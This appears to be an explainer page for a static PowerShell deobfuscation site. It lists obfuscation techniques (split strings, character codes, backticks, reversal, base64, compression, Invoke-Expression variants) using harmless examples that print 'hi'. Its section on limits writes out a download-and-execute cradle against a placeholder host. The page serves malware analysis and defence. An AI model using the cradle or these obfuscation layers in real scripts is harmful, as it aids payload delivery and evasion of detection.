How to deobfuscate PowerShell without running it
Obfuscated PowerShell hides what it does behind layers: strings cut into pieces, characters stored as numbers, base64, compression, and code that builds more code and runs it. The direct way to see through it is to run it and watch, which is what you can’t do with a script you don’t trust.
Most of the tricks don’t need running, though. They are expressions whose
values are fixed: 'Write-' + 'Output hi' is Write-Output hi on any machine.
A static deobfuscator works those values out from the script’s syntax tree,
replaces each Invoke-Expression of a known string with the code inside it,
and repeats until nothing changes. That is what this site does, with
Airbus CERT’s minusone underneath.
Every example below prints hi in PowerShell 7.4, and the site unwraps each
one.
Strings in pieces
Invoke-Expression ('Write-' + 'Output hi')
Invoke-Expression ("{1}{0}" -f 'Output hi', 'Write-')
Invoke-Expression ('Write-OuXXtput hi' -replace 'XX', '')
Concatenation, the format operator (-f puts its arguments into {0}, {1}
and so on, by position) and -replace. Invoke-Obfuscation, the best-known
tool for this, concatenates and reorders strings like the first two, nests
them, and also reverses whole commands.
Characters as numbers
Invoke-Expression (-join [char[]](87,114,105,116,101,45,79,117,116,112,117,116,32,104,105))
Each number is a character code: 87 is W, 114 is r. Variants write the
codes in hex or octal, or hide them behind -bxor with a key.
Backticks
Wr`ite-`Out`put 'hi'
The backtick is PowerShell’s escape character. Before most letters it does
nothing, so it can be scattered through command names. Not before every
letter, though: `n, `r, `t and a few others are escapes for
special characters. W`rite-Output is W, a carriage return, then
ite-Output, and PowerShell reports that no such command exists. A
deobfuscator that drops every backtick gets this wrong.
Reversed strings
Invoke-Expression (-join 'ih tuptuO-etirW'[14..0])
Indexing a string with a range picks those characters in that order, here from the last to the first.
Base64 and compression
Invoke-Expression ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('V3JpdGUtT3V0cHV0IGhp')))
Invoke-Expression (New-Object IO.StreamReader(New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('Cy/KLEnV9S8tKSgtUcjIBAA='), [IO.Compression.CompressionMode]::Decompress))).ReadToEnd()
The first is base64 of UTF-8 text. The second compresses the text first, so
the base64 shows no pattern at all. Command lines use a third form,
-EncodedCommand, with UTF-16LE inside:
How to decode a PowerShell -EncodedCommand.
Code that runs code
iex 'Write-Output hi'
'Write-Output hi' | Invoke-Expression
& ('ie' + 'x') 'Write-Output hi'
& ([scriptblock]::Create('Write-Output hi'))
iex is Invoke-Expression’s alias, and a string piped to it runs too. The
call operator & runs a command whose name is a string, so the name can be
built like any other string. A script block made from a string is code as
well. Other ways in include powershell.exe itself, Start-Process and WMI.
Each time a known string is run, the site shows it as a new layer, and says
how it was reached.
Where it stops
Static deobfuscation works out a value only when the script fixes it. It leaves these alone:
- Downloaded code. In
iex (New-Object Net.WebClient).DownloadString('https://example.com/a.ps1')the address is found and the download is flagged, but what the server would send isn’t knowable from the script. - The machine it runs on.
iex $env:PAYLOADruns whatever that environment variable holds on the victim’s machine. - Values built up in a loop or a script block. In
87,114,105 | ForEach-Object { $s += [char]$_ }the block runs once per number. The site leaves$sas a variable rather than guess, because a wrong value is worse than none. The same codes joined in one expression,-join (87,114,105 | ForEach-Object { [char]$_ }), are worked out.
For those, the answer has to come from running the script, on an isolated analysis machine with no route to anything you care about.